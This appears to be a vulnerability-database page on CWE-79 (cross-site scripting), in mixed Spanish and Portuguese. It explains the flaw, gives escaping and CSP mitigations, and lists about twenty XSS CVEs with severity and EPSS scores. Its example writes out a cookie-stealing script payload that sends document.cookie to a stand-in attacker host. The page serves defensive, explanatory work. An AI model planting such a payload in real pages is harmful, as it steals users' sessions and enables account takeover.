Fallos del tipo CWE-79

28.807 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-61492LOWIn JetBrains YouTrack before 2026.2.17394 stored XSS via article titles in digest emails was possibleEPSS 0.7%CVE-2023-5660MEDIUMSendPress Newsletters <= 1.22.3.31 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.7%CVE-2024-10385HIGHStored XSS in DirectAdmin Evo SkinEPSS 0.7%CVE-2021-4103MEDIUMCross-site Scripting (XSS) - Stored in vanessa219/vditorEPSS 0.7%CVE-2022-31063MEDIUMCross site scripting via the title of a document in TuleapEPSS 0.7%CVE-2022-40358MEDIUMAn issue was discovered in AjaXplorer 4.2.3, allows attackers to cause cross site scripting vulnerabilities via a crafted svg file upload.EPSS 0.7%CVE-2021-24267—All-in-One Addons for Elementor - WidgetKit < 2.3.10 - Contributor+ Stored XSSEPSS 0.7%CVE-2023-29839MEDIUMA Stored Cross Site Scripting (XSS) vulnerability exists in multiple pages of Hotel Druid version 3.0.4, which allows arbitrary execution ofEPSS 0.7%CVE-2026-40171HIGHJupyter Notebook and JupyterLab token theft via stored XSS in help command linkerEPSS 0.7%CVE-2024-29504HIGHCross Site Scripting vulnerability in Summernote v.0.8.18 and before allows a remote attacker to execute arbtirary code via a crafted payloaEPSS 0.7%CVE-2024-35694HIGHWordPress WPMobile.App plugin <= 11.41 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.7%CVE-2021-24260—Livemesh Addons for Elementor < 6.8 - Contributor+ Stored XSSEPSS 0.7%CVE-2023-2389LOWNetgear SRX5308 Web Management Interface cross site scriptingEPSS 0.7%CVE-2022-30304MEDIUMAn improper neutralization of input during web page generation vulnerability [CWE-79] in FortiAnalyzer versions prior to 7.2.1, 7.0.4 and 6.EPSS 0.7%CVE-2021-24261—HT Mega - Absolute Addons for Elementor Page Builder < 1.5.7 - Contributor+ Stored XSSEPSS 0.7%CVE-2024-40484MEDIUMA Reflected Cross Site Scripting (XSS) vulnerability was found in "/oahms/search.php" in PHPGurukul Old Age Home Management System v1.0, whiEPSS 0.7%CVE-2021-24263—PowerPack Addons for Elementor < 2.3.2 - Contributor+ Stored XSSEPSS 0.7%CVE-2023-2383LOWNetgear SRX5308 Web Management Interface cross site scriptingEPSS 0.7%CVE-2023-2390LOWNetgear SRX5308 Web Management Interface cross site scriptingEPSS 0.7%CVE-2022-3148MEDIUMCross-site Scripting (XSS) - Generic in jgraph/drawioEPSS 0.7%